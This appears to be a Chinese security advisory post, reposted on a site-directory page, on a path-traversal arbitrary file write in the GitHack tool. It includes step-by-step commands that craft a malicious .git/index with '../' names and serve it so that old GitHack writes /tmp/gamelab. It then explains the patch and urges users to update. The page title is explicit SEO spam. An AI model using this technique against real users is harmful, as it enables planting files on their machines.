日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

前言

最近幾天,關注的lijiejie大佬的GitHack項目提交了commit[1],Change Log寫著Fix abitrary file write vulnerability。GitHack任意文件寫入漏洞?這里讓我們分析一下這個漏洞。

漏洞詳情

本漏洞最早是由國外安全研究者justinsteven報告的[2],報告中指出相關軟件在使用或訪問一些不信任的git倉庫的情況下,就可能被精心設計者利用。

GitHack通過gin(一個git的index文件解析)去直接解析.git/index文件,找到工程中所有的文件并下載,當解析到的文件名含有../時,下載的文件就會往上穿越目錄存放,遇到同名文件還可以覆蓋。只要通過精心的設計的.git/index,就可以把任意文件寫入到GitHack工具使用者的機器上。

場景復現

首先構造一個Git倉庫:

/# mkdir -p /tmp/test
/# cd /tmp/test
/tmp/test# git init
Initialized empty Git repository in /tmp/test/.git/
/tmp/test# echo nothing |tee other1 other2 other3
nothing
/tmp/test# mkdir -p aabaabaabaabaabaabaabaabaabtmp
/tmp/test# echo "flag{gamelab}" >> aabaabaabaabaabaabaabaabaabtmp/gamelab
/tmp/test# git add .
/tmp/test# git commit -m "add gamelab"
[master (root-commit) 97db507] add gamelab
 4 files changed, 4 insertions(+)
 create mode 100644 aabaabaabaabaabaabaabaabaabtmp/gamelab
 create mode 100644 other1
 create mode 100644 other2
 create mode 100644 other3
root@cn:/tmp/test# strings .git/index |grep gamelab
&aabaabaabaabaabaabaabaabaabtmp/gamelab

再使用sed替換字符串:

/tmp/test# sed -i 's#aab#../#g' .git/index
/tmp/test# strings .git/index |grep gamelab
&../../../../../../../../../tmp/gamelab

使用Python開啟HTTP服務,讓我們可以通過HTTP來訪問當前文件夾的/.git目錄。

/tmp/test# python2 -m SimpleHTTPServer 2333
Serving HTTP on 0.0.0.0 port 2333 ...

到這里,準備工作就做好了。

打開另一個終端,使用舊版Githack直接獲取泄露的.git文件夾。

/tmp/old# cat /tmp/gamelab
cat: /tmp/gamelab: No such file or directory
/tmp/old# python2 GitHack.py http://127.0.0.1:2333/.git/
[+] Download and parse index file ...
../../../../../../../../../tmp/gamelab
other1
other2
other3
[OK] ../../../../../../../../../tmp/gamelab
[OK] other1
[OK] other2
[OK] other3
/tmp/old# cat /tmp/gamelab
flag{gamelab}

至此,文件已寫入。

修復方案

讓我們先來看一下GitHack源碼都有哪些修改:

GitHack任意文件寫入漏洞預警與修復方案

 

最大的改動是在此處加了一個判斷 if entry["name"].strip().find('..') < 0:,也就是說如果entry["name"]內沒有..,則操作與以前一樣,修復后,..就被限制住了。

所以,現在就去更新下你的GitHack工具到2022.4.7最新版。

此外,王一航的GitHacker項目已于2022.3.1修復該漏洞[3]。

隨想

舊版GitHack這個漏洞存在已久,通過精心設計,可以有效地反制使用者。該環境也可以存在于蜜罐中,作為誘餌來誘捕攻擊者。建議各位師傅更新下GitHack。

參考鏈接

  1. https://github.com/lijiejie/GitHack
  2. https://github.com/justinsteven/advisories/blob/main/2022_git_buried_bare_repos_and_fsmonitor_various_abuses.md
  3. https://github.com/WangYihang/GitHacker

分享到:
標簽:預警 漏洞
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定